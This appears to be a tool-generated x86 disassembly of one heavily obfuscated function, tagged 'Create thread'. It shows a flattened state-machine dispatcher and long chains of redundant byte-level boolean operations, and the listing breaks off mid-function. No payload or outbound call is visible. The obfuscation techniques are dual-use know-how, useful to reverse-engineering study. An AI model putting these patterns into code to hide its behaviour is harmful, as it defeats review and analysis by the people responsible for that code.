Function at 0x5e5160
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x448
mov eax, 0x2e8a8a2c
xor ecx, ecx
mov edx, 0x786dce0e
mov esi, dword [0x5f90ac]
mov edi, dword [0x5f90a4]
add edx, 0
add edx, 0x32079824
sub edx, 0x786dce0e
sub edx, 0xa2b16712
sub edx, 1
add edx, 0xa2b16712
mov ebx, ecx
sub ebx, 0x32079824
add edx, ebx
mov ebx, ecx
sub ebx, 0x7ddcf43b
sub ebx, esi
add ebx, 0x7ddcf43b
sub ecx, edx
add ecx, 0
sub ebx, 0xfc06132a
add ebx, ecx
add ebx, 0xfc06132a
add eax, 0
sub eax, ebx
sub eax, 0x2e8a8a2c
imul esi, eax
and esi, 1
cmp esi, 0
sete al
and al, 1
mov byte [ebp - 0x22], al
cmp edi, 0xa
setl al
and al, 1
mov byte [ebp - 0x21], al
mov dword [ebp - 0x28], 0xbe879cd7
mov eax, dword [ebp - 0x28]
mov ecx, eax
sub ecx, 0x87eb9169
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
je 0x5ea7be
jmp 0x5e5218
mov eax, dword [ebp - 0x2c]
sub eax, 0xa2d04e06
mov dword [ebp - 0x34], eax
je 0x5eb6bc
jmp 0x5e522e
mov eax, dword [ebp - 0x2c]
sub eax, 0xaf687d11
mov dword [ebp - 0x38], eax
je 0x5eb3e1
jmp 0x5e5244
mov eax, dword [ebp - 0x2c]
sub eax, 0xb227519b
mov dword [ebp - 0x3c], eax
je 0x5ea7b2
jmp 0x5e525a
mov eax, dword [ebp - 0x2c]
sub eax, 0xbe879cd7
mov dword [ebp - 0x40], eax
je 0x5e53bf
jmp 0x5e5270
mov eax, dword [ebp - 0x2c]
sub eax, 0xc90b1b0d
mov dword [ebp - 0x44], eax
je 0x5e9520
jmp 0x5e5286
mov eax, dword [ebp - 0x2c]
sub eax, 0xd85a29e0
mov dword [ebp - 0x48], eax
je 0x5e845e
jmp 0x5e529c
mov eax, dword [ebp - 0x2c]
sub eax, 0xdda94c1d
mov dword [ebp - 0x4c], eax
je 0x5eb5d5
jmp 0x5e52b2
mov eax, dword [ebp - 0x2c]
sub eax, 0xdfcb162b
mov dword [ebp - 0x50], eax
je 0x5eb800
jmp 0x5e52c8
mov eax, dword [ebp - 0x2c]
sub eax, 0xf492cde7
mov dword [ebp - 0x54], eax
je 0x5eb5dd
jmp 0x5e52de
mov eax, dword [ebp - 0x2c]
sub eax, 0x3920d31
mov dword [ebp - 0x58], eax
je 0x5e8063
jmp 0x5e52f4
mov eax, dword [ebp - 0x2c]
sub eax, 0xaf01ef5
mov dword [ebp - 0x5c], eax
je 0x5eb7f4
jmp 0x5e530a
mov eax, dword [ebp - 0x2c]
sub eax, 0xb8605f1
mov dword [ebp - 0x60], eax
je 0x5e7c4f
jmp 0x5e5320
mov eax, dword [ebp - 0x2c]
sub eax, 0x128be6c1
mov dword [ebp - 0x64], eax
je 0x5e7c34
jmp 0x5e5336
mov eax, dword [ebp - 0x2c]
sub eax, 0x2842a84c
mov dword [ebp - 0x68], eax
je 0x5e952c
jmp 0x5e534c
mov eax, dword [ebp - 0x2c]
sub eax, 0x2b9fa71c
mov dword [ebp - 0x6c], eax
je 0x5eb77a
jmp 0x5e5362
mov eax, dword [ebp - 0x2c]
sub eax, 0x2f0875d8
mov dword [ebp - 0x70], eax
je 0x5e9964
jmp 0x5e5378
mov eax, dword [ebp - 0x2c]
sub eax, 0x57dd811f
mov dword [ebp - 0x74], eax
je 0x5e9229
jmp 0x5e538e
mov eax, dword [ebp - 0x2c]
sub eax, 0x6adbc013
mov dword [ebp - 0x78], eax
je 0x5e668c
jmp 0x5e53a4
mov eax, dword [ebp - 0x2c]
sub eax, 0x7b653196
mov dword [ebp - 0x7c], eax
je 0x5e8479
jmp 0x5e53ba
jmp 0x5eb807
mov eax, 0xf492cde7
mov ecx, 0x6adbc013
mov dl, 1
mov dh, byte [ebp - 0x22]
mov bl, byte [ebp - 0x21]
mov bh, dh
xor bh, 0xff
and bh, 1
mov dword [ebp - 0x80], eax
mov al, dl
xor al, 1
mov ah, dh
and ah, al
or bh, ah
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov al, dl
xor al, 1
and al, 0
mov ah, dl
xor ah, 0
mov byte [ebp - 0x81], al
mov al, ah
and al, 1
mov byte [ebp - 0x82], al
mov al, dl
xor al, 1
and al, 0
and ah, 1
mov byte [ebp - 0x83], al
mov al, byte [ebp - 0x81]
mov dword [ebp - 0x88], ecx
mov cl, byte [ebp - 0x82]
or al, cl
mov cl, byte [ebp - 0x83]
or cl, ah
xor al, cl
mov cl, dh
xor cl, 0xff
mov ah, al
xor ah, 0xff
mov ch, dl
xor ch, 1
or cl, ah
or ch, 1
xor cl, 0xff
and cl, ch
mov ah, dl
xor ah, 1
and ah, 1
mov ch, dl
xor ch, 1
and ch, 1
or ah, ch
xor ah, 0xff
mov ch, dl
xor ch, 1
mov byte [ebp - 0x89], al
mov al, dl
xor al, 0
or ah, ch
or al, 0
xor ah, 0xff
and ah, al
mov al, byte [ebp - 0x89]
xor al, 0xff
xor al, 1
and al, 0xff
mov ch, bh
and ch, cl
xor bh, cl
or ch, bh
mov cl, ah
xor cl, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x8a], al
mov al, dl
xor al, 0
mov byte [ebp - 0x8b], al
mov al, cl
and al, 0
mov byte [ebp - 0x8c], al
mov al, byte [ebp - 0x8b]
and ah, al
mov al, bh
and al, 0
mov byte [ebp - 0x8d], al
mov al, byte [ebp - 0x8a]
mov byte [ebp - 0x8e], cl
mov cl, byte [ebp - 0x8b]
and al, cl
mov cl, byte [ebp - 0x8c]
or cl, ah
mov ah, byte [ebp - 0x8d]
or ah, al
xor cl, ah
mov al, byte [ebp - 0x8e]
or al, bh
xor al, 0xff
mov ah, byte [ebp - 0x8b]
or ah, 0
and al, ah
or cl, al
mov al, ch
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
and ch, cl
or ah, ch
mov al, bl
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, bl
and ch, cl
mov bh, dl
xor bh, 1
and bh, 0
and cl, 1
or al, ch
or bh, cl
xor al, bh
mov cl, dl
xor cl, 0
xor al, 0xff
mov ch, dl
xor ch, 0
or cl, al
or ch, 0
xor cl, 0xff
and cl, ch
mov al, dl
xor al, 0
and al, 1
mov ch, dl
xor ch, 1
and ch, 0
or al, ch
mov ch, bl
xor ch, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x8f], al
mov al, dl
xor al, 0
or ch, bh
or al, 0
xor ch, 0xff
and ch, al
mov al, dl
xor al, 1
and al, 1
mov bh, dl
xor bh, 1
and bh, 1
or al, bh
xor al, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x90], al
mov al, dl
xor al, 1
mov byte [ebp - 0x91], al
mov al, byte [ebp - 0x90]
or al, bh
mov bh, byte [ebp - 0x91]
or bh, 1
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0x8f]
xor bh, 0xff
xor bh, 1
and bh, 0xff
mov byte [ebp - 0x92], al
mov al, cl
xor al, 0xff
mov byte [ebp - 0x93], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x94], al
mov al, dl
xor al, 0
mov byte [ebp - 0x95], al
mov al, byte [ebp - 0x93]
and al, 0
mov byte [ebp - 0x96], al
mov al, byte [ebp - 0x95]
and cl, al
mov al, byte [ebp - 0x94]
and al, 0
mov byte [ebp - 0x97], al
mov al, byte [ebp - 0x95]
and ch, al
mov al, byte [ebp - 0x96]
or al, cl
mov cl, byte [ebp - 0x97]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x93]
mov ch, byte [ebp - 0x94]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x95]
or ch, 0
and cl, ch
or al, cl
mov cl, byte [ebp - 0x92]
and cl, bh
mov ch, byte [ebp - 0x92]
xor ch, bh
or cl, ch
mov ch, al
xor ch, 0xff
mov bh, cl
and bh, ch
xor cl, 0xff
and al, cl
or bh, al
mov al, dl
xor al, 0
and al, 1
mov cl, dl
xor cl, 1
mov ch, cl
and ch, 0
mov byte [ebp - 0x98], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x99], al
mov al, byte [ebp - 0x98]
or al, ch
mov ch, byte [ebp - 0x99]
or ch, cl
xor al, ch
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ch, dl
xor ch, 1
and ch, 1
or cl, ch
mov ch, dl
xor ch, 0
xor cl, 0xff
mov byte [ebp - 0x9a], al
mov al, dl
xor al, 1
or ch, cl
or al, 1
xor ch, 0xff
and ch, al
mov al, byte [ebp - 0x9a]
xor al, 0xff
mov cl, ch
xor cl, 0xff
mov byte [ebp - 0x9b], al
mov al, dl
xor al, 1
mov byte [ebp - 0x9c], al
mov al, byte [ebp - 0x9b]
and al, 0xff
mov byte [ebp - 0x9d], al
mov al, byte [ebp - 0x9a]
mov byte [ebp - 0x9e], cl
mov cl, byte [ebp - 0x9c]
and al, cl
mov cl, byte [ebp - 0x9e]
and cl, 0xff
mov byte [ebp - 0x9f], al
mov al, byte [ebp - 0x9c]
and ch, al
mov al, byte [ebp - 0x9d]
mov byte [ebp - 0xa0], cl
mov cl, byte [ebp - 0x9f]
or al, cl
mov cl, byte [ebp - 0xa0]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0x9b]
mov ch, byte [ebp - 0x9e]
or cl, ch
xor cl, 0xff
mov ch, byte [ebp - 0x9c]
or ch, 1
and cl, ch
or al, cl
mov cl, ah
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov byte [ebp - 0xa1], al
mov al, ah
and al, ch
mov byte [ebp - 0xa2], al
mov al, dl
xor al, 1
and al, 0xff
and ch, 1
mov byte [ebp - 0xa3], al
mov al, byte [ebp - 0xa2]
or cl, al
mov al, byte [ebp - 0xa3]
or al, ch
xor cl, al
mov al, dl
xor al, 0
and al, 1
mov ch, dl
xor ch, 1
and ch, 0
or al, ch
mov ch, dl
xor ch, 1
and ch, 0
mov byte [ebp - 0xa4], al
mov al, dl
xor al, 0
mov byte [ebp - 0xa5], al
and al, 1
mov byte [ebp - 0xa6], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0xa7], al
mov al, byte [ebp - 0xa5]
and al, 1
mov byte [ebp - 0xa8], al
mov al, byte [ebp - 0xa6]
or ch, al
mov al, byte [ebp - 0xa7]
mov byte [ebp - 0xa9], cl
mov cl, byte [ebp - 0xa8]
or al, cl
xor ch, al
mov al, byte [ebp - 0xa9]
mov cl, byte [ebp - 0xa4]
and al, cl
mov cl, byte [ebp - 0xa9]
mov byte [ebp - 0xaa], al
mov al, byte [ebp - 0xa4]
xor cl, al
mov al, byte [ebp - 0xaa]
or al, cl
mov cl, ch
and cl, 1
xor ch, 1
or cl, ch
mov ch, al
xor ch, 0xff
and ch, 0
mov byte [ebp - 0xab], al
mov al, dl
xor al, 0
mov byte [ebp - 0xac], al
mov al, byte [ebp - 0xab]
mov byte [ebp - 0xad], cl
mov cl, byte [ebp - 0xac]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0
mov byte [ebp - 0xae], al
mov al, byte [ebp - 0xac]
and al, 1
mov byte [ebp - 0xaf], al
mov al, byte [ebp - 0xae]
or ch, al
mov al, byte [ebp - 0xaf]
or cl, al
xor ch, cl
mov al, byte [ebp - 0xad]
xor al, 0xff
mov cl, ch
xor cl, al
and cl, ch
mov al, dh
xor al, 0xff
and al, 1
mov ch, dl
xor ch, 1
and dh, ch
or al, dh
mov ch, byte [ebp - 0xa1]
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0xb0], al
mov al, byte [ebp - 0xa1]
and al, dh
or ch, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, byte [ebp - 0xb0]
xor dh, 0xff
mov byte [ebp - 0xb1], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0xb2], al
mov al, dl
xor al, 1
mov byte [ebp - 0xb3], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xb4], al
mov al, byte [ebp - 0xb0]
mov byte [ebp - 0xb5], cl
mov cl, byte [ebp - 0xb3]
and al, cl
mov cl, byte [ebp - 0xb2]
and cl, 0xff
mov byte [ebp - 0xb6], al
mov al, byte [ebp - 0xb3]
and ch, al
mov al, byte [ebp - 0xb4]
mov byte [ebp - 0xb7], cl
mov cl, byte [ebp - 0xb6]
or al, cl
mov cl, byte [ebp - 0xb7]
or cl, ch
xor al, cl
mov cl, byte [ebp - 0xb2]
or dh, cl
xor dh, 0xff
mov ch, byte [ebp - 0xb3]
or ch, 1
and dh, ch
or al, dh
mov ch, byte [ebp - 0xb1]
and ch, 1
mov dh, byte [ebp - 0xb1]
xor dh, 1
or ch, dh
mov dh, al
xor dh, 0xff
and dh, 0
mov cl, dl
xor cl, 0
and al, cl
mov byte [ebp - 0xb8], al
mov al, dl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0xb9], al
mov al, byte [ebp - 0xb8]
or dh, al
mov al, byte [ebp - 0xb9]
or al, cl
xor dh, al
xor dh, 0xff
xor ch, 0xff
mov al, dl
xor al, 1
or dh, ch
or al, 1
xor dh, 0xff
and dh, al
mov al, dl
xor al, 0
and al, 1
mov cl, dl
xor cl, 1
and cl, 0
or al, cl
mov cl, bh
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov byte [ebp - 0xba], al
mov al, bh
and al, ch
mov byte [ebp - 0xbb], al
mov al, byte [ebp - 0xba]
xor al, 0xff
and al, 0xff
mov byte [ebp - 0xbc], al
mov al, byte [ebp - 0xba]
and al, ch
mov ch, byte [ebp - 0xbb]
or cl, ch
mov ch, byte [ebp - 0xbc]
or ch, al
xor cl, ch
mov al, bh
xor al, 0xff
mov ch, cl
xor ch, al
and ch, cl
mov al, bl
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
and bl, cl
mov byte [ebp - 0xbd], al
mov al, dl
xor al, 1
and al, 0
and cl, 1
mov byte [ebp - 0xbe], al
mov al, byte [ebp - 0xbd]
or al, bl
mov bl, byte [ebp - 0xbe]
or bl, cl
xor al, bl
mov cl, byte [ebp - 0xa1]
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0xbf], al
mov al, byte [ebp - 0xa1]
and al, bl
mov byte [ebp - 0xc0], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
mov byte [ebp - 0xc1], al
mov al, byte [ebp - 0xc0]
or cl, al
mov al, byte [ebp - 0xc1]
or al, bl
xor cl, al
mov al, dl
xor al, 1
and al, 1
mov bl, dl
xor bl, 1
and bl, 1
or al, bl
mov bl, byte [ebp - 0xbf]
and bl, cl
mov byte [ebp - 0xc2], al
mov al, byte [ebp - 0xbf]
xor al, cl
or bl, al
mov al, dl
xor al, 1
mov cl, byte [ebp - 0xc2]
xor cl, 0xff
mov byte [ebp - 0xc3], al
mov al, dl
xor al, 1
mov byte [ebp - 0xc4], al
mov al, byte [ebp - 0xc3]
and al, 0xff
mov byte [ebp - 0xc5], al
mov al, byte [ebp - 0xc4]
and al, 1
mov byte [ebp - 0xc6], al
mov al, cl
and al, 0xff
mov byte [ebp - 0xc7], al
mov al, byte [ebp - 0xc2]
mov byte [ebp - 0xc8], cl
mov cl, byte [ebp - 0xc4]
and al, cl
mov cl, byte [ebp - 0xc5]
mov byte [ebp - 0xc9], al
mov al, byte [ebp - 0xc6]
or cl, al
mov al, byte [ebp - 0xc7]
mov byte [ebp - 0xca], cl
mov cl, byte [ebp - 0xc9]
or al, cl
mov cl, byte [ebp - 0xca]
xor cl, al
mov al, byte [ebp - 0xc3]
mov byte [ebp - 0xcb], cl
mov cl, byte [ebp - 0xc8]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0xc4]
or cl, 1
and al, cl
mov cl, byte [ebp - 0xcb]
or cl, al
mov al, bl
xor al, 0xff
and al, 0
mov byte [ebp - 0xcc], al
mov al, dl
xor al, 0
and bl, al
mov byte [ebp - 0xcd], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0xce], al
mov al, byte [ebp - 0xcd]
and al, 1
mov byte [ebp - 0xcf], al
mov al, byte [ebp - 0xcc]
or al, bl
mov bl, byte [ebp - 0xce]
mov byte [ebp - 0xd0], al
mov al, byte [ebp - 0xcf]
or bl, al
mov al, byte [ebp - 0xd0]
xor al, bl
xor al, 0xff
xor cl, 0xff
mov bl, dl
xor bl, 1
or al, cl
or bl, 1
xor al, 0xff
and al, bl
mov cl, byte [ebp - 0xb5]
xor cl, 0xff
and cl, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0xd1], al
mov al, byte [ebp - 0xb5]
and al, bl
or cl, al
mov al, dh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov byte [ebp - 0xd2], al
mov al, dh
and al, bl
mov bl, byte [ebp - 0xd2]
or bl, al
mov al, dl
xor al, 0
and al, 1
mov byte [ebp - 0xd3], al
mov al, dl
xor al, 1
and al, 0
mov byte [ebp - 0xd4], al
mov al, byte [ebp - 0xd3]
mov byte [ebp - 0xd5], cl
mov cl, byte [ebp - 0xd4]
or al, cl
mov cl, byte [ebp - 0xd5]
xor cl, 0xff
mov byte [ebp - 0xd6], al
mov al, dl
xor al, 0
mov byte [ebp - 0xd7], al
mov al, dl
xor al, 1
mov byte [ebp - 0xd8], al
mov al, byte [ebp - 0xd7]
or cl, al
mov al, byte [ebp - 0xd8]
or al, 1
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0xb5]
xor al, 0xff
mov byte [ebp - 0xd9], al
mov al, byte [ebp - 0xd6]
xor al, 0xff
mov byte [ebp - 0xda], al
mov al, dl
xor al, 0
mov byte [ebp - 0xdb], al
mov al, byte [ebp - 0xd9]
mov byte [ebp - 0xdc], cl
mov cl, byte [ebp - 0xda]
or al, cl
mov cl, byte [ebp - 0xdb]
or cl, 0
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 0
mov byte [ebp - 0xdd], al
mov al, bl
xor al, cl
and al, bl
mov cl, byte [ebp - 0xd6]
xor cl, 0xff
mov byte [ebp - 0xde], al
mov al, dh
xor al, cl
and al, dh
mov cl, byte [ebp - 0xdc]
mov dh, byte [ebp - 0xdd]
and cl, dh
mov dh, byte [ebp - 0xdc]
mov byte [ebp - 0xdf], al
mov al, byte [ebp - 0xdd]
xor dh, al
or cl, dh
mov dh, byte [ebp - 0xde]
xor dh, 0xff
mov al, byte [ebp - 0xdf]
xor al, 0xff
mov byte [ebp - 0xe0], al
mov al, dl
xor al, 1
mov byte [ebp - 0xe1], al
mov al, dh
and al, 0xff
mov byte [ebp - 0xe2], al
mov al, byte [ebp - 0xde]
mov byte [ebp - 0xe3], cl
mov cl, byte [ebp - 0xe1]
and al, cl
mov cl, byte [ebp - 0xe0]
and cl, 0xff
mov byte [ebp - 0xe4], al
mov al, byte [ebp - 0xdf]
mov byte [ebp - 0xe5], cl
mov cl, byte [ebp - 0xe1]
and al, cl
mov cl, byte [ebp - 0xe2]
mov byte [ebp - 0xe6], al
mov al, byte [ebp - 0xe4]
or cl, al
mov al, byte [ebp - 0xe5]
mov byte [ebp - 0xe7], cl
mov cl, byte [ebp - 0xe6]
or al, cl
mov cl, byte [ebp - 0xe7]
xor cl, al
mov al, byte [ebp - 0xe0]
or dh, al
xor dh, 0xff
mov al, byte [ebp - 0xe1]
or al, 1
and dh, al
or cl, dh
mov al, byte [ebp - 0xe3]
xor al, 0xff
and al, 0
mov dh, dl
xor dh, 0
mov byte [ebp - 0xe8], al
mov al, byte [ebp - 0xe3]
and al, dh
mov byte [ebp - 0xe9], al
mov al, cl
xor al, 0xff
and al, 0
and cl, dh
mov dh, byte [ebp - 0xe8]
mov byte [ebp - 0xea], al
mov al, byte [ebp - 0xe9]
or dh, al
mov al, byte [ebp - 0xea]
or al, cl
xor dh, al
mov al, byte [ebp - 0xd5]
xor al, 0xff
mov cl, bl
xor cl, 0xff
mov byte [ebp - 0xeb], al
mov al, dl
xor al, 1
mov byte [ebp - 0xec], al
mov al, byte [ebp - 0xeb]
and al, 0xff
mov byte [ebp - 0xed], al
mov al, byte [ebp - 0xd5]
mov byte [ebp - 0xee], cl
mov cl, byte [ebp - 0xec]
and al, cl
mov cl, byte [ebp - 0xee]
and cl, 0xff
mov byte [ebp - 0xef], al
mov al, byte [ebp - 0xec]
and bl, al
mov al, byte [ebp - 0xed]
mov byte [ebp - 0xf0], cl
mov cl, byte [ebp - 0xef]
or al, cl
mov cl, byte [ebp - 0xf0]
or cl, bl
xor al, cl
mov cl, byte [ebp - 0xeb]
mov bl, byte [ebp - 0xee]
or cl, bl
xor cl, 0xff
mov bl, byte [ebp - 0xec]
or bl, 1
and cl, bl
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov bl, dl
xor bl, 0
and al, bl
mov byte [ebp - 0xf1], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0xf2], al
mov al, byte [ebp - 0xf1]
or cl, al
mov al, byte [ebp - 0xf2]
or al, bl
xor cl, al
mov al, dl
xor al, 0
mov bl, byte [ebp - 0xd6]
xor bl, 0xff
mov byte [ebp - 0xf3], al
mov al, dl
xor al, 1
mov byte [ebp - 0xf4], al
mov al, byte [ebp - 0xf3]
and al, 0xff
mov byte [ebp - 0xf5], al
mov al, byte [ebp - 0xf4]
and al, 0
mov byte [ebp - 0xf6], al
mov al, bl
and al, 0xff
mov byte [ebp - 0xf7], al
mov al, byte [ebp - 0xd6]
mov byte [ebp - 0xf8], cl
mov cl, byte [ebp - 0xf4]
and al, cl
mov cl, byte [ebp - 0xf5]
mov byte [ebp - 0xf9], al
mov al, byte [ebp - 0xf6]
or cl, al
mov al, byte [ebp - 0xf7]
mov byte [ebp - 0xfa], cl
mov cl, byte [ebp - 0xf9]
or al, cl
mov cl, byte [ebp - 0xfa]
xor cl, al
mov al, byte [ebp - 0xf3]
or al, bl
xor al, 0xff
mov bl, byte [ebp - 0xf4]
or bl, 1
and al, bl
or cl, al
xor cl, 0xff
mov al, byte [ebp - 0xf8]
xor al, cl
mov cl, byte [ebp - 0xf8]
and al, cl
mov bl, dh
and bl, al
xor dh, al
or bl, dh
mov al, byte [ebp - 0xd1]
xor al, 0xff
mov dh, ch
xor dh, al
and dh, ch
mov al, ch
xor al, 0xff
mov cl, byte [ebp - 0xd1]
and cl, al
mov al, byte [ebp - 0xd1]
xor al, 0xff
and ch, al
or cl, ch
mov al, dh
and al, cl
xor dh, cl
or al, dh
mov cl, bl
xor cl, 0xff
and cl, 1
mov ch, dl
xor ch, 1
mov dh, bl
and dh, ch
or cl, dh
mov ch, al
xor ch, 0xff
xor cl, 0xff
mov dh, dl
xor dh, 1
or ch, cl
or dh, 1
xor ch, 0xff
and ch, dh
mov cl, al
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
and al, dh
mov byte [ebp - 0xfb], al
mov al, dl
xor al, 1
and al, 0xff
and dh, 1
mov byte [ebp - 0xfc], al
mov al, byte [ebp - 0xfb]
or cl, al
mov al, byte [ebp - 0xfc]
or al, dh
xor cl, al
xor cl, 0xff
mov al, bl
xor al, cl
and al, bl
mov cl, ch
and cl, al
xor ch, al
or cl, ch
mov al, bh
xor al, 0xff
mov ch, ah
xor ch, al
and ch, ah
mov al, ah
xor al, 0xff
mov dh, bh
and dh, al
xor bh, 0xff
and ah, bh
or dh, ah
mov al, ch
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 1
mov bh, al
and bh, 0xff
and ch, bl
mov byte [ebp - 0xfd], al
mov al, ah
and al, 0xff
and dh, bl
or bh, ch
or al, dh
xor bh, al
mov al, byte [ebp - 0xfd]
or al, ah
xor al, 0xff
or bl, 1
and al, bl
or bh, al
mov al, bh
xor al, 0xff
and al, 0
mov ah, dl
xor ah, 0
mov ch, bh
and ch, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or al, ch
or dh, ah
xor al, dh
xor al, 0xff
xor al, 0
and al, 0
mov ah, dl
xor ah, 0
and ah, 1
mov ch, dl
xor ch, 1
and ch, 0
or ah, ch
mov ch, ah
xor ch, 0xff
mov dh, bh
xor dh, ch
and dh, bh
mov ch, dl
xor ch, 1
and ch, 1
mov bl, dl
xor bl, 1
and bl, 1
or ch, bl
xor ch, 0xff
mov bl, dl
xor bl, 0
mov bh, dl
xor bh, 1
or ch, bl
or bh, 1
xor ch, 0xff
and ch, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bl, al
xor bl, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0xfe], al
mov al, dl
xor al, 0
mov byte [ebp - 0xff], al
mov al, bl
and al, 0
mov byte [ebp - 0x100], al
mov al, byte [ebp - 0xfe]
mov byte [ebp - 0x101], cl
mov cl, byte [ebp - 0xff]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x102], al
mov al, byte [ebp - 0xff]
and dh, al
mov al, byte [ebp - 0x100]
mov byte [ebp - 0x103], cl
mov cl, byte [ebp - 0x102]
or al, cl
mov cl, byte [ebp - 0x103]
or cl, dh
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0xff]
or cl, 0
and bl, cl
or al, bl
mov cl, ch
xor cl, 0xff
mov dh, ah
xor dh, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
and ch, bl
mov byte [ebp - 0x104], al
mov al, dh
and al, 0
and ah, bl
or bh, ch
or al, ah
xor bh, al
or cl, dh
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x104]
xor al, 0xff
mov cl, bh
and cl, al
xor bh, 0xff
mov al, byte [ebp - 0x104]
and al, bh
or cl, al
mov al, dl
xor al, 0
and al, 1
mov ah, dl
xor ah, 1
and ah, 0
or al, ah
mov ah, byte [ebp - 0xa1]
xor ah, 0xff
and ah, 1
mov ch, dl
xor ch, 1
mov dh, byte [ebp - 0xa1]
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0xff
and ch, 1
or ah, dh
or bl, ch
xor ah, bl
mov ch, dl
xor ch, 1
and ch, 1
mov dh, dl
xor dh, 1
mov bl, dh
and bl, 1
mov bh, dl
xor bh, 1
and bh, 0xff
and dh, 1
or ch, bl
or bh, dh
xor ch, bh
mov dh, al
xor dh, 0xff
mov bl, dl
xor bl, 1
mov bh, dl
xor bh, 0
or dh, bl
or bh, 0
xor dh, 0xff
and dh, bh
mov bl, dl
xor bl, 0
mov bh, ch
xor bh, 0xff
mov byte [ebp - 0x105], al
mov al, dl
xor al, 0
or bl, bh
or al, 0
xor bl, 0xff
and bl, al
mov al, ah
xor al, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x106], al
mov al, dl
xor al, 0
mov byte [ebp - 0x107], al
mov al, byte [ebp - 0x106]
or al, bh
mov bh, byte [ebp - 0x107]
or bh, 0
xor al, 0xff
and al, bh
mov bh, byte [ebp - 0xa1]
xor bh, 0xff
mov byte [ebp - 0x108], al
mov al, ch
xor al, 0xff
mov byte [ebp - 0x109], al
mov al, dl
xor al, 1
mov byte [ebp - 0x10a], al
mov al, byte [ebp - 0x109]
or bh, al
mov al, byte [ebp - 0x10a]
or al, 1
xor bh, 0xff
and bh, al
mov al, dh
xor al, 0xff
mov byte [ebp - 0x10b], al
mov al, bl
xor al, 0xff
mov byte [ebp - 0x10c], al
mov al, dl
xor al, 1
mov byte [ebp - 0x10d], al
mov al, byte [ebp - 0x10b]
and al, 0xff
mov byte [ebp - 0x10e], al
mov al, byte [ebp - 0x10d]
and dh, al
mov al, byte [ebp - 0x10c]
and al, 0xff
mov byte [ebp - 0x10f], al
mov al, byte [ebp - 0x10d]
and bl, al
mov al, byte [ebp - 0x10e]
or al, dh
mov dh, byte [ebp - 0x10f]
or dh, bl
xor al, dh
mov dh, byte [ebp - 0x10b]
mov bl, byte [ebp - 0x10c]
or dh, bl
xor dh, 0xff
mov bl, byte [ebp - 0x10d]
or bl, 1
and dh, bl
or al, dh
mov dh, byte [ebp - 0x108]
and dh, bh
mov bl, byte [ebp - 0x108]
xor bl, bh
or dh, bl
mov bl, al
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
and al, bh
mov byte [ebp - 0x110], al
mov al, dh
xor al, 0xff
and al, 0xff
and dh, bh
mov bh, byte [ebp - 0x110]
or bl, bh
or al, dh
xor bl, al
mov al, byte [ebp - 0x105]
xor al, 0xff
mov dh, ah
xor dh, 0xff
mov bh, dl
xor bh, 1
mov byte [ebp - 0x111], al
and al, 0xff
mov byte [ebp - 0x112], al
mov al, byte [ebp - 0x105]
and al, bh
mov byte [ebp - 0x113], al
mov al, dh
and al, 0xff
and ah, bh
mov byte [ebp - 0x114], al
mov al, byte [ebp - 0x112]
mov byte [ebp - 0x115], cl
mov cl, byte [ebp - 0x113]
or al, cl
mov cl, byte [ebp - 0x114]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x111]
or cl, dh
xor cl, 0xff
or bh, 1
and cl, bh
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and al, ah
mov dh, dl
xor dh, 1
and dh, 0
and ah, 1
or cl, al
or dh, ah
xor cl, dh
mov al, ch
and al, 1
xor ch, 1
or al, ch
xor al, 0xff
mov ah, cl
xor ah, al
and ah, cl
mov al, bl
xor al, 0xff
mov cl, ah
xor cl, 0xff
mov ch, dl
xor ch, 1
mov dh, al
and dh, 0xff
and bl, ch
